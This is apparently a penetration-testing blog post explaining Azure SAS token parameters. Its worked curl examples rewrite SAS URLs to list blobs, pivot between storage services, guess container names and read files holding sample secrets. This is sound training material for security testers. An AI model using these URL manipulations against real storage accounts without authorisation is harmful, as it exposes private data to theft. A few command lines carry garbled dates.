Back

Azure SAS Tokens for Web Application Penetration Testers

Let’s say you’re performing a web application penetration test and you see that the site links to a URL that looks like the following:

https://testsastokenaccount.blob.core.windows.net/testsastokencontainer/testsastokendirectory/testsastokenblob.txt?sv=2020-08-04&ss=bf&srt=co&sp=rwl&se=2021-12-13T20:00:00Z&st=2021-11-01T07:00:00Z&spr=https&sig=ns2CRdy2Ijr04sHi%2FkNoRZu6mm1B5FSJCIzS21Uka1M%3D

Following that link, you can see that the content of testsastokenblob.txt is served to you. But do you realize that you’ve also been given access to list, read, and write all the blobs in the container? Do you realize that you’ve also been given access to File service in the storage account? This blog will teach you what the above URL really is, how to understand each component, and how to identify opportunities for deeper access into an application’s cloud storage. 

TL;DR

For readers who recognize the above URL and are already familiar with the concept of Azure SAS tokens, feel free to jump to the examples section below. There are breakdowns and manipulations for the following scenarios:

  1. A user SAS with read and list permissions.
  2. An account SAS with read and list permissions for both the Blob and File services.
  3. A read-only account SAS and multiple storage containers.

If these are new concepts or you’d like a refresher on the details, continue below to learn more.

What is that URL anyway?

That URL is a shared access signature (SAS) which provides direct access to content stored in an Azure storage account. To understand its purpose, first consider a traditional web application with file uploads/downloads. This functionality needs to be built into the application itself, and all the content passes through the application on its way to the file system.

Shared access signatures provide an alternative for applications using Azure storage accounts. Rather than handling uploads/downloads within the application, the application authorizes the client to store, retrieve and manage content within the cloud storage directly. The SAS identifies the resource(s) to be accessed and includes the client’s proof of authorization.

Traditional versus Direct Cloud Storage

Breaking down the Shared Access Signature

When we come across a shared access signature on a pentest, we need to understand what access we’ve been granted. Almost all the information we need is provided in the SAS itself. But to best understand it, we’ll need to break it down and inspect each part. 

That long SAS is composed of two main parts:

  1. The Storage Resource URL:
    https://testsastokenaccount.blob.core.windows.net/testsastokencontainer/ testsastokendirectory/testsastokenblob.txt
  2. The SAS Token:
    sp=rw&st=2021-11-09T01:10:20Z&se=2021-11-09T09:10:20Z&spr=https&sv=2020-08-04&sr=b&sig=pafv%2FpEiqfIJ7Fvyia22awgqPgPx%2ByBpm1zGX%2FgOSDg%3D

We’ll take a closer look at both of those halves. Let’s start with the storage resource URL.

The Storage Resource URL

The storage resource URL identifies the content within the storage account that will be accessed. This content may be a blob, directory, container, file, queue, or table. To identify which resource we’re given access to, we can break down this URL into two parts: the domain name and the URL path.  

The Domain Name

The domain name in the storage resource URL has the following format:
<storage_account_name>.<service_id>.windows.net

Let’s look our example from earlier:
testsastokenaccount.blob.core.windows.net

We can identify that the storage account name is testsastokenaccount. While the SAS won’t provide access across storage accounts, the name itself can provide a starting place for guessing other valid storage accounts. For example, if our SAS pointed to companystorage1 or companystorage-prod, we may successfully guess that companystorage2 or companystorage-dev storage accounts exist. And if we’re truly lucky, those storage accounts may allow public access.

The domain name also identifies the storage service that the SAS provides access to. The <service_id> placeholder can have one of the following values:

  1. blobAzure Blob Storage
  2. fileAzure File Storage
  3. queueAzure Queue Storage
  4. tableAzure Table Storage

One SAS token may provide access to multiple storage services within a storage account. This means that if our SAS authorizes us to perform List operations against a container in Blob storage, we should check if we can also perform List operations against directories in File storage. 

The URL Path

The URL path within the storage resource URL identifies a specific resource to be accessed. The same SAS token may provide access to multiple individual resources. For example, if the URL path within an SAS is /profile_pics/user1_profile.jpeg and we observe that our SAS token gives us Read access, then we could attempt to directly access other content by changing the URL path to /profile_pics/user2_profile.jpeg. If the SAS token doesn’t provide List access, then wordlists and context from the application itself will be the most helpful in finding other readable content.

The SAS Token

The SAS token is the second half of the shared access signature and authorizes the request to access the resources specified in the storage resource URL. The token is a series of URL parameters and values which define the constraints of that access. While there are many possible parameters that could be included, we’ll look at the most common and impactful here. 

Signed Permissions (sp)

The permissions granted by the SAS token are defined by the value of the sp parameter. Common values include: 

  • Create (c): Create a new resource.
  • Read (r): Read the resource.
  • Add (a): Add/append to an existing resource.
  • Write (w): Create or write a resource’s content and metadata.
  • Delete (d): Delete a resource.
  • List (l): List objects within a resource.
  • (And much more depending on the SAS type and storage service)

Values can also be combined to allow multiple actions. For example, sp=rl would allow for listing all objects within a resource (such as a container) and the reading the contents of each of those objects. Even sp=rw could be abused by an attacker uploading a large file, and then downloading it many times. This could easily rack up a large Azure bill through egress costs alone.  

This value should be inspected carefully as the SAS token’s permissions may provide much more than the functionality within the application itself. 

Signed Services (ss)

The ss parameter is only included if token belongs to an “account” SAS. An account SAS may provide access to one or more storage services. The value of the ss parameter defines which services a specific SAS token is authorized for. The allowed values are: 

  • Blob (b)
  • Queue (q)
  • Table (t)
  • File (f)

Values can also be combined to provide access to multiple services. For example, ss=bf allows access to the Blob and File services. If multiple values are specified for the ss parameter, be sure to try attempt access to the different service endpoints using the domain names provided above.

Signed Resource Types (srt)

The SAS token is scoped to specific types of resources. If the SAS token belongs to an account SAS, the allowed resource types are defined by the value of the srt parameter. Allowed values include:

  • Service (s): Access to service-level APIs (e.g., Get/Set Service Properties, Get Service Stats, List Containers/Queues/Tables/Shares)
  • Container (c): Access to container-level APIs (e.g., Create/Delete Container, Create/Delete Queue, Create/Delete Table, Create/Delete Share, List Blobs/Files and Directories)
  • Object (o): Access to object-level APIs for blobs, queue messages, table entities, and files (e.g. Put Blob, Query Entity, Get Messages, Create File, etc.)

Like before, these values can be combined. For example, srt=co would provide permissions to both individual objects (e.g. blobs and files) and their logical parents (e.g. containers and directories).

Signed Resources (sr)

If the SAS token does not belong to an account SAS, then it belongs to a user SAS or service SAS. For our purposes, there are a couple important differences between these two SAS types and the account SAS type:

  1. A user SAS or service SAS can only provide access to a single service. A user SAS is limited to only the Blob service. A service SAS is limited to only one of the four storage services: Blob, File, Queue or Table.
  2. The permissions of a user SAS or service SAS may be more restricted than the SAS token suggests. The permissions of a user SAS are limited by the permissions of the user who signed the SAS. The permissions of a service SAS may be restricted by a stored access policy.

Because a user/service SAS is limited to a single service, the ss parameter will not be present in the SAS token. Additionally, the user/service token uses the sr parameter to define allowed resources, rather than the srt parameter. Some of the allowed values for the sr parameter are:

  • Blob (b): Grants access to the content and metadata of the blob.
  • Container (c): Grants access to the content and metadata of any blob in the container, and to the list of blobs in the container.
  • Directory (d): Grants access to the content and metadata of any blob in the directory, and to the list of blobs in the directory.
  • File (f): Grants access to the content and metadata of the file within the File service.
  • Share (s): This grants access to the content and metadata of any file in the share, and to the list of directories and files in the share, within the File service.

Signed Expiry (se)

The value of the se parameter defines when the SAS becomes invalid. Applications are allowed to set this very far into the future, even hundreds of years! While it may be convenient to avoid dealing with frequently generating new SAS tokens, there are a couple problems you may run into:

  1. The SAS may provide a malicious user long-term access into the storage account, even if that user is removed or banned from the application itself. 
    1. This is especially dangerous if the application changes how it uses the storage account. For example, consider a web application that stores users’ public pictures in a storage account. Because these are all public pictures, the application hands out long-lived SAS tokens to all users allowing them to read all the blobs directly from cloud storage. Later, the web application rolls out a feature allowing users to store private pictures as well. If the application stores the private pictures in the same storage account, then the previously issued SAS tokens may allow users to access the private pictures as well. 
  2. SAS tokens can be difficult to revoke. Depending on the SAS type, revocation may require the storage account keys to be rotated. This would impact any existing use of those keys (such as other applications and other SAS tokens). 

Signed IP (sip)

The value of the sip parameter defines an IP address or range of addresses which are allowed to access the resources. The request to interact with the stored content must be received from one of these addresses, otherwise Azure will deny the request. If the same SAS works on one machine but not another, this could be the culprit. 

Signature (sig)

The above list of parameters is not exhaustive and not all the parameters will be present for all SAS tokens. However, every SAS token is required to have the sig parameter. This is a Base64-encoded SHA256 HMAC and provides integrity that the SAS token is unaltered. Any changes we make to the SAS token will be detected through this signature, and our requests will be rejected. But keep in mind, we’re free to edit and manipulate the storage resource URL, so long as the SAS token remains unchanged. 

Examples

Now that we understand the various components of a shared access signature, let’s take a look at a few examples. With each example, we’ll break down the SAS and see how we could abuse the access it grants us.

Example 1 – User SAS

Let’s say we encounter the following SAS during a pentest. What could we do with it?

https://testsastokenaccount.blob.core.windows.net/testsastokencontainer/testsastokendirectory/testsastokenblob.txt?sp=rwl&st=2021-11-29T08:00:00Z&se=2021-12-07T08:00:00Z&skoid=c7352c6b-06c4-40ce-9842-9dff0f004dbe&sktid=30b5473c-7b80-4392-b4c7-8991592a5887&skt=2021-11-29T08:00:00Z&ske=2021-12-07T08:00:00Z&sks=b&skv=2020-08-04&spr=https&sv=2020-08-04&sr=c&sig=Pn5pnHIufVSpYupKdIZxJxJquZgVQC%2BRe5DsC%2FzPE5M%3D

If we follow that link, we’re returned some simple content: 

curl
"https://testsastokenaccount.blob.core.windows.net/testsastokencont
ainer/testsastokendirectory/testsastokenblob.txt?sp=rwl&st=2021-11
-29T08:00:00Z&se=2021-12-07T08:00:00Z&skoid=c7352c6b-06c4-40ce-98
42-9dff0f004dbe&sktid=30b5473c-7b80-4392-b4c7-8991592a5887&skt=20
21-11-29T08:00:00Z&ske=2021-12-07T08:00:00Z&sks=b&skv=2020-08-04
&spr=https&sv=2020-08-04&sr=c&sig=Pn5pnHIufVSpYupKdIZxJxJquZgVQC%
2BRe5DsC%2FzPE5M%3D"
Hello World
curl "https://testsastokenaccount.blob.core.windows.net/testsastokencont ainer/testsastokendirectory/testsastokenblob.txt?sp=rwl&st=2021-11 -29T08:00:00Z&se=2021-12-07T08:00:00Z&skoid=c7352c6b-06c4-40ce-98 42-9dff0f004dbe&sktid=30b5473c-7b80-4392-b4c7-8991592a5887&skt=20 21-11-29T08:00:00Z&ske=2021-12-07T08:00:00Z&sks=b&skv=2020-08-04 &spr=https&sv=2020-08-04&sr=c&sig=Pn5pnHIufVSpYupKdIZxJxJquZgVQC% 2BRe5DsC%2FzPE5M%3D" Hello World

Having access to that content is fine (and likely required for the functionality of the web app we’re testing), but let’s see if this SAS gives us any more access. Let’s start by identifying our key components and seeing what information that gives us:

  • Resource URL
    • Domain Name: testsastokenaccount.blob.core.windows.net
      • We can identify the storage account name: testsastokenaccount
      • We can identify we’re authorized for Blob storage: blob.core.windows.net
    • URL Path: /testsastokencontainer/testsastokendirectory/testsastokenblob.txt
      • We can identify the container name: testsastokencontainer
      • We can identify a directory within the container: testsastokendirectory
      • We can identity the blob we’re accessing: testsastokenblob.txt
  • SAS Token:
    • Signed Permissions (sp): rwl
      • We’re authorized for read, write and list actions
    • Signed Resources (sr): c
      • We’re authorized to access the content and metadata of any blob in the container, and to the list of blobs in the container.
      • This is a user or service SAS, not an account SAS, because this parameter is present instead of the srt parameter.
    • Signed Expiry (se): 2021-12-07T08:00:00Z
      • The token is valid until this time. 
    • Signed Object Id (skoid): c7352c6b-06c4-40ce-9842-9dff0f004dbe
      • This is a required parameter for a user SAS, confirming the type of SAS. 
    • The additional values are required for the SAS token but are not very useful to us.

From this breakdown, we have a couple key takeaways:

  1. We have read, write and list permissions over the blobs within the testsastokencontainer container. 
  2. We have a user SAS which is limited to Blob storage and may be limited by the permissions of the principal which created the SAS. 

Let’s use our list permissions to find other blobs within the container. To do this, we need to make 2 edits to our original SAS:

  1. We need to change the path in the resource URL to only reference the container, not a specific blob. 
    1. Original: /testsastokencontainer/testsastokendirectory/testsastokenblob.txt
    2. New: /testsastokencontainer
  2. We need to add the following URL parameters before or after the SAS token to perform the list action on the container: restype=container&comp=list

With both changes, our new SAS becomes:

https://testsastokenaccount.blob.core.windows.net/testsastokencont
ainer?restype=container&comp=list&sp=rwl&st=2021-11-29T08:00:00Z
&se=2021-12-07T08:00:00Z&skoid=c7352c6b-06c4-40ce-9842-9dff0f004d
be&sktid=30b5473c-7b80-4392-b4c7-8991592a5887&skt=2021-11-29T08:00
:00Z&ske=2021-12-07T08:00:00Z&sks=b&skv=2020-08-04&spr=https&sv=
2020-08-04&sr=c&sig=Pn5pnHIufVSpYupKdIZxJxJquZgVQC%2BRe5DsC%2Fz
PE5M%3D
https://testsastokenaccount.blob.core.windows.net/testsastokencont ainer?restype=container&comp=list&sp=rwl&st=2021-11-29T08:00:00Z &se=2021-12-07T08:00:00Z&skoid=c7352c6b-06c4-40ce-9842-9dff0f004d be&sktid=30b5473c-7b80-4392-b4c7-8991592a5887&skt=2021-11-29T08:00 :00Z&ske=2021-12-07T08:00:00Z&sks=b&skv=2020-08-04&spr=https&sv= 2020-08-04&sr=c&sig=Pn5pnHIufVSpYupKdIZxJxJquZgVQC%2BRe5DsC%2Fz PE5M%3D

Let’s make a request to this URL (and nicely format the XML output):

curl -s "https://testsastokenaccount.blob.core.windows.net/testsas
tokencontainer?restype=container&comp=list&sp=rwl&st=2021-11-29T08
:00:00Z&se=2021-12-07T08:00:00Z&skoid=c7352c6b-06c4-40ce-9842-9dff
0f004dbe&sktid=30b5473c-7b80-4392-b4c7-8991592a5887&skt=2021-11-29
T08:00:00Z&ske=2021-12-07T08:00:00Z&sks=b&skv=2020-08-04&spr=https
&sv=2020-08-04&sr=c&sig=Pn5pnHIufVSpYupKdIZxJxJquZgVQC%2BRe5DsC%
2FzPE5M%3D" | xmllint –format –
<?xml version="1.0" encoding="utf-8"?>
<EnumerationResults ServiceEndpoint="https://testsastokenaccount.
blob.core.windows.net/" ContainerName="testsastokencontainer">
<Blobs>
<Blob>
<Name>testsastokendirectory/my_secret_file.txt</Name>
<Properties>
[TRUNCATED]
</Properties>
<OrMetadata/>
</Blob>
<Blob>
<Name>testsastokendirectory/testsastokenblob.txt</Name>
<Properties>
[TRUNCATED]
</Properties>
<OrMetadata/>
</Blob>
</Blobs>
<NextMarker/>
</EnumerationResults>
curl -s "https://testsastokenaccount.blob.core.windows.net/testsas tokencontainer?restype=container&comp=list&sp=rwl&st=2021-11-29T08 :00:00Z&se=2021-12-07T08:00:00Z&skoid=c7352c6b-06c4-40ce-9842-9dff 0f004dbe&sktid=30b5473c-7b80-4392-b4c7-8991592a5887&skt=2021-11-29 T08:00:00Z&ske=2021-12-07T08:00:00Z&sks=b&skv=2020-08-04&spr=https &sv=2020-08-04&sr=c&sig=Pn5pnHIufVSpYupKdIZxJxJquZgVQC%2BRe5DsC% 2FzPE5M%3D" | xmllint –format – <?xml version="1.0" encoding="utf-8"?> <EnumerationResults ServiceEndpoint="https://testsastokenaccount. blob.core.windows.net/" ContainerName="testsastokencontainer"> <Blobs> <Blob> <Name>testsastokendirectory/my_secret_file.txt</Name> <Properties> [TRUNCATED] </Properties> <OrMetadata/> </Blob> <Blob> <Name>testsastokendirectory/testsastokenblob.txt</Name> <Properties> [TRUNCATED] </Properties> <OrMetadata/> </Blob> </Blobs> <NextMarker/> </EnumerationResults>

In addition to the testsastokenblob.txt blob we already know about, the response also lists a my_secret_file.txt blob in the same directory. Because we have read access to all blobs in the container, we can update our SAS to reference this blob and read its contents:

curl "https://testsastokenaccount.blob.core.windows.net/testsastok
encontainer/testsastokendirectory/my_secret_file.txt?sp=rwl&st=202
1-11-29T08:00:00Z&se=2021-12-07T08:00:00Z&skoid=c7352c6b-06c4-40ce
-9842-9dff0f004dbe&sktid=30b5473c-7b80-4392-b4c7-8991592a5887&skt=
2021-11-29T08:00:00Z&ske=20200:00Z&sks=b&skv=2020-08-04&spr=https&
sv=2020-08-04&sr=c&sig=Pn5pnHIufVSpYupKdIZxJxJquZgVQC%2BRe5DsC%2F
zPE5M%3D"
Username: user123
Password: password123
curl "https://testsastokenaccount.blob.core.windows.net/testsastok encontainer/testsastokendirectory/my_secret_file.txt?sp=rwl&st=202 1-11-29T08:00:00Z&se=2021-12-07T08:00:00Z&skoid=c7352c6b-06c4-40ce -9842-9dff0f004dbe&sktid=30b5473c-7b80-4392-b4c7-8991592a5887&skt= 2021-11-29T08:00:00Z&ske=20200:00Z&sks=b&skv=2020-08-04&spr=https& sv=2020-08-04&sr=c&sig=Pn5pnHIufVSpYupKdIZxJxJquZgVQC%2BRe5DsC%2F zPE5M%3D" Username: user123 Password: password123

And just like that, we’ve taken our original SAS and abused our privileges to access content we aren’t intended to have. 

Example 2 – Account SAS

Let’s consider another SAS:

https://testsastokenaccount.file.core.windows.net/testfileshare/testfilesharedirectory/testsastokenfile.txt?sv=2020-08-04&ss=bf&srt=sco&sp=rl&se=2500-11-30T08:00:00Z&st=2021-11-30T08:00:00Z&spr=https&sig=pZ4Iyd2bl5CFcISFej%2BYYI34BJjFc%2BV7o%2Fw1TU09JEY%3D

Again, we could follow the link to download the content:

curl "https://testsastokenaccount.file.core.windows.net/testfilesh
are/testfilesharedirectory/testsastokenfile.txt?sv=2020-08-04&ss=b
f&srt=sco&sp=rl&se=2500-11-30T08:00:00Z&st=2021-11-30T08:00:00Z&sp
r=https&sig=pZ4Iyd2bl5CFcISFej%2BYYI34BJjFc%2BV7o%2Fw1TU09JEY%3D"
Hello Again
curl "https://testsastokenaccount.file.core.windows.net/testfilesh are/testfilesharedirectory/testsastokenfile.txt?sv=2020-08-04&ss=b f&srt=sco&sp=rl&se=2500-11-30T08:00:00Z&st=2021-11-30T08:00:00Z&sp r=https&sig=pZ4Iyd2bl5CFcISFej%2BYYI34BJjFc%2BV7o%2Fw1TU09JEY%3D" Hello Again

Let’s perform the same breakdown as before to see what information the SAS itself provides:

  • Resource URL
    • Domain Name: testsastokenaccount.file.core.windows.net
      • We can identify the storage account name: testsastokenaccount
      • We can identify we’re authorized for File storage: file.core.windows.net
    • URL Path: /testfileshare/testfilesharedirectory/testsastokenfile.txt
      • We can identify the share name: testfileshare
      • We can identify a directory within the share: testfilesharedirectory
      • We can identity the file we’re accessing: testsastokenfile.txt
  • SAS Token:
    • Signed Permissions (sp): rl
      • We’re authorized for read and list actions.
    • Signed Services (ss): bf
      • We’re authorized for the Blob and File services.
      • This must be an account SAS since it provides access to multiple services. 
    • Signed Resource Types (srt): sco
      • We’re authorized for all service-level, container-level and object-level APIs.
    • Signed Expiry (se): 2500-11-30T08:00:00Z
      • The token is valid for hundreds of years. 
    • The additional values are required for the SAS token but are not very useful to us.

Our key observations for this SAS are:

  1. We can read containers and objects across the File and Blob storage services. 
  2. We are using an account SAS which does not impose hidden restrictions. 
  3. We have a very long-lived SAS which can be used to persist access until the storage account keys are rotated.

Let’s get started using these privileges. As we saw in Example 1, we can update our SAS to list other files in the same file share and directory with the following changes:

  1. We need to change the path in the resource URL to only reference the directory, not a specific blob. 
    1. Original: /testfileshare/testfilesharedirectory/testsastokenfile.txt
    2. New: /testfileshare/testfilesharedirectory
  2. We need to add the following URL parameters before or after the SAS token to perform the list action on the directory: restype=directory&comp=list

Like before, we’ll merge these changes into our SAS and check out the results:

curl -s 'https://testsastokenaccount.file.core.windows.net/testfil
eshare/testfilesharedirectory/?restype=directory&comp=list&sv=2020
-0804&ss=bf&srt=sco&sp=rl&se=250011-30T08:00:00Z&st=202111-30T
08:00:00Z&spr=https&sig=pZ4Iyd2bl5CFcISFej%2BYYI34BJjFc%2BV7o%2Fw
1TU09JEY%3D' | xmllint –format –
<?xml version="1.0" encoding="utf-8"?>
<EnumerationResults ServiceEndpoint="https://testsastokenaccount.
file.core.windows.net/" ShareName="testfileshare" DirectoryPath=
"testfilesharedirectory/">
<Entries>
<File>
<Name>another_secret_file.txt</Name>
<Properties>
<Content-Length>40</Content-Length>
</Properties>
</File>
<File>
<Name>testsastokenfile.txt</Name>
<Properties>
<Content-Length>11</Content-Length>
</Properties>
</File>
</Entries>
<NextMarker/>
</EnumerationResults>
curl -s 'https://testsastokenaccount.file.core.windows.net/testfil eshare/testfilesharedirectory/?restype=directory&comp=list&sv=2020 -08-04&ss=bf&srt=sco&sp=rl&se=2500-11-30T08:00:00Z&st=2021-11-30T 08:00:00Z&spr=https&sig=pZ4Iyd2bl5CFcISFej%2BYYI34BJjFc%2BV7o%2Fw 1TU09JEY%3D' | xmllint –format – <?xml version="1.0" encoding="utf-8"?> <EnumerationResults ServiceEndpoint="https://testsastokenaccount. file.core.windows.net/" ShareName="testfileshare" DirectoryPath= "testfilesharedirectory/"> <Entries> <File> <Name>another_secret_file.txt</Name> <Properties> <Content-Length>40</Content-Length> </Properties> </File> <File> <Name>testsastokenfile.txt</Name> <Properties> <Content-Length>11</Content-Length> </Properties> </File> </Entries> <NextMarker/> </EnumerationResults>

And just like before, we see there are additional contents in the same directory (another_secret_file.txt). We can download this directly too by changing our original storage resource URL to point to that file, just like we did in Example 1. 

Since we have an account SAS with access to Blob storage, let’s utilize that access too! We’ll update our SAS to enumerate all blob storage containers within the storage account:

  1. We’ll need to change the domain name to reference the Blob service rather than File service.
    1. Original: file.core.windows.net
    2. New: blob.core.windows.net
  2. We need to remove the path in the resource URL since we’re interacting with the top-level service. 
    1. Original: /testfileshare/testfilesharedirectory/testsastokenfile.txt
    2. New: /
  3. We need to add the following URL parameters before or after the SAS token to list all containers: comp=list

We’ll merge in these changes, send off the request, and review the results:

curl -s 'https://testsastokenaccount.blob.core.windows.net/?comp=
list&sv=20200804&ss=bf&srt=sco&sp=rl&se=250011-30T08:00:00Z&st=
202111-30T08:00:00Z&spr=https&sig=pZ4Iyd2bl5CFcISFej%2BYYI34BJjFc
%2BV7o%2Fw1TU09JEY%3D' | xmllint –format –
<?xml version="1.0" encoding="utf-8"?>
<EnumerationResults ServiceEndpoint="https://testsastokenaccount.
blob.core.windows.net/">
<Containers>
<Container>
<Name>secretcontainer</Name>
<Properties>
[TRUNCATED]
</Properties>
</Container>
<Container>
<Name>testsastokencontainer</Name>
<Properties>
[TRUNCATED]
</Properties>
</Container>
</Containers>
<NextMarker/>
</EnumerationResults>
curl -s 'https://testsastokenaccount.blob.core.windows.net/?comp= list&sv=2020-08-04&ss=bf&srt=sco&sp=rl&se=2500-11-30T08:00:00Z&st= 2021-11-30T08:00:00Z&spr=https&sig=pZ4Iyd2bl5CFcISFej%2BYYI34BJjFc %2BV7o%2Fw1TU09JEY%3D' | xmllint –format – <?xml version="1.0" encoding="utf-8"?> <EnumerationResults ServiceEndpoint="https://testsastokenaccount. blob.core.windows.net/"> <Containers> <Container> <Name>secretcontainer</Name> <Properties> [TRUNCATED] </Properties> </Container> <Container> <Name>testsastokencontainer</Name> <Properties> [TRUNCATED] </Properties> </Container> </Containers> <NextMarker/> </EnumerationResults>

Looking at the output, we see the storage container from Example 1 (testsastokencontainer) and we also see another storage container: secretcontainer. We’ve already seen how to edit the SAS to list blobs in a container and read individual blobs, so let’s take a peek at what’s inside:

curl -s 'https://testsastokenaccount.blob.core.windows.net/secret
container?restype=container&comp=list&sv=20200804&ss=bf&srt=sco
&sp=rl&se=250011-30T08:00:00Z&st=202111-30T08:00:00Z&spr=https
&sig=pZ4Iyd2bl5CFcISFej%2BYYI34BJjFc%2BV7o%2Fw1TU09JEY%3D'
| xmllint –format –
<?xml version="1.0" encoding="utf-8"?>
<EnumerationResults ServiceEndpoint="https://testsastokenaccount.
blob.core.windows.net/" ContainerName="secretcontainer">
<Blobs>
<Blob>
<Name>last_secret_file.txt</Name>
<Properties>
[TRUNCATED]
</Properties>
<OrMetadata/>
</Blob>
</Blobs>
<NextMarker/>
</EnumerationResults>
curl -s 'https://testsastokenaccount.blob.core.windows.net/secret container?restype=container&comp=list&sv=2020-08-04&ss=bf&srt=sco &sp=rl&se=2500-11-30T08:00:00Z&st=2021-11-30T08:00:00Z&spr=https &sig=pZ4Iyd2bl5CFcISFej%2BYYI34BJjFc%2BV7o%2Fw1TU09JEY%3D' | xmllint –format – <?xml version="1.0" encoding="utf-8"?> <EnumerationResults ServiceEndpoint="https://testsastokenaccount. blob.core.windows.net/" ContainerName="secretcontainer"> <Blobs> <Blob> <Name>last_secret_file.txt</Name> <Properties> [TRUNCATED] </Properties> <OrMetadata/> </Blob> </Blobs> <NextMarker/> </EnumerationResults>
curl -s 'https://testsastokenaccount.blob.core.windows.net/secretc
ontainer/last_secret_file.txt? &sv=20200804&ss=bf&srt=sco&sp=rl
&se=250011-30T08:00:00Z&st=202111-30T08:00:00Z&spr=https&sig=p
Z4Iyd2bl5CFcISFej%2BYYI34BJjFc%2BV7o%2Fw1TU09JEY%3D'
These are the super secret contents!
curl -s 'https://testsastokenaccount.blob.core.windows.net/secretc ontainer/last_secret_file.txt? &sv=2020-08-04&ss=bf&srt=sco&sp=rl &se=2500-11-30T08:00:00Z&st=2021-11-30T08:00:00Z&spr=https&sig=p Z4Iyd2bl5CFcISFej%2BYYI34BJjFc%2BV7o%2Fw1TU09JEY%3D' These are the super secret contents!

By analyzing and manipulating the original SAS for a specific file in the File storage service, we were able to pivot to the Blob storage service, find a new container and read the contents of a file within. 

Example 3 – Read-Only Account SAS

As a final example, let’s consider the following SAS:

https://otheraccount.blob.core.windows.net/container-dev/content1.txt?sv=2020-08-04&ss=b&srt=o&sp=r&se=2021-12-10T08:00:00Z&st=2021-11-30T08:00:00Z&spr=https&sig=0ND2jGlc7sFLuDR9QsOmpD%2F5gl2G6FsSMtcFOuNrthM%3D

And the content provided by that SAS looks pretty mundane: 

curl "https://otheraccount.blob.core.windows.net/container-dev/
content1.txt?sv=2020-08-04&ss=b&srt=o&sp=r&se=2021-12-10T08:00:00
Z&st=2021-11-30T08:00:00Z&spr=https&sig=0ND2jGlc7sFLuDR9QsOmpD%2
F5gl2G6FsSMtcFOuNrthM%3D"
Dev Content 1
curl "https://otheraccount.blob.core.windows.net/container-dev/ content1.txt?sv=2020-08-04&ss=b&srt=o&sp=r&se=2021-12-10T08:00:00 Z&st=2021-11-30T08:00:00Z&spr=https&sig=0ND2jGlc7sFLuDR9QsOmpD%2 F5gl2G6FsSMtcFOuNrthM%3D" Dev Content 1

For one last time, we’ll break down our SAS:

  • Resource URL
    • Domain Name: otheraccount.blob.core.windows.net
      • We can identify the storage account name: otheraccount
      • We can identify we’re authorized for Blob storage: blob.core.windows.net
    • URL Path: /container-dev/content1.txt
      • We can identify the container name: container-dev
      • We can identity the blob we’re accessing: content1.txt
  • SAS Token:
    • Signed Permissions (sp): r
      • We’re authorized for only the read actions.
    • Signed Services (ss): b
      • We’re only authorized for the Blob. 
      • This must be an account because this parameter is set. 
    • Signed Resource Types (srt): o
      • We’re only authorized for all object-level APIs.
    • The additional values are required for the SAS token but are not very useful to us.

We can see that this SAS is much more restricted. We won’t be able to hop between services or use the list action like before. But with a little bit of luck, we won’t even need that. 

Looking at the blob name content1.txt, it’s worth checking if there are any other blobs we could guess. Let’s update our SAS to point to content2.txt and see what happens.

curl "https://otheraccount.blob.core.windows.net/container-dev/
content2.txt?sv=2020-08-04&ss=b&srt=o&sp=r&se=2021-12-10T08:00:00
Z&st=2021-11-30T08:00:00Z&spr=https&sig=0ND2jGlc7sFLuDR9QsOmpD%2
F5gl2G6FsSMtcFOuNrthM%3D"
Dev Content 2
curl "https://otheraccount.blob.core.windows.net/container-dev/ content2.txt?sv=2020-08-04&ss=b&srt=o&sp=r&se=2021-12-10T08:00:00 Z&st=2021-11-30T08:00:00Z&spr=https&sig=0ND2jGlc7sFLuDR9QsOmpD%2 F5gl2G6FsSMtcFOuNrthM%3D" Dev Content 2

It worked! Even though we couldn’t list all the blobs, if we successfully guess the blob name (or it’s disclosed to us through other means) we can still gain access to it. Within a real web application, this may lead to an Insecure Direct Object Reference (IDOR) vulnerability. 

Let’s take a look at that container name too. If we were given access to container-dev then let’s check for container-prod as well. 

curl "https://otheraccount.blob.core.windows.net/container-prod/
content1.txt?sv=2020-08-04&ss=b&srt=o&sp=r&se=2021-12-10T08:00:00Z
&st=2021-11-30T08:00:00Z&spr=https&sig=0ND2jGlc7sFLuDR9QsOmpD%2F5
gl2G6FsSMtcFOuNrthM%3D"
Prod Content 1
curl "https://otheraccount.blob.core.windows.net/container-prod/ content1.txt?sv=2020-08-04&ss=b&srt=o&sp=r&se=2021-12-10T08:00:00Z &st=2021-11-30T08:00:00Z&spr=https&sig=0ND2jGlc7sFLuDR9QsOmpD%2F5 gl2G6FsSMtcFOuNrthM%3D" Prod Content 1

Nice! We’re able to directly reference blobs within other containers within the same storage account if we can guess the correct URL path. As you could imagine, it’s not too difficult to use wordlists to build our guesses and test different URLs. In fact, the MicroBurst toolkit already provides Invoke-EnumerateAzureBlobs which enables the enumeration of public blobs and containers. Karl Fosaaen has previously written about this script on the NetSPI blog

This example shows that even a fairly limited SAS has the potential to still be abused. In particular, the account SAS type can provide vast access into a storage account and is a prime target for pentesters. 

Conclusion

Whenever we’re given direct access to Azure storage accounts through a shared access signature, we should take a close look to understand our authorization. While the SAS has many parts, it’s not too difficult to break down if you know the most important parts. Hopefully this guide can serve as a reference for the next time you come across an SAS during a pentest and help you find new content. 

Special thanks to Karl Fosaaen for the blog suggestion and Josh Magri for reviewing this write up. 

NetSPI is always looking for skilled penetration testers to join our team! Visit https://netspi.com/careers to explore our open roles.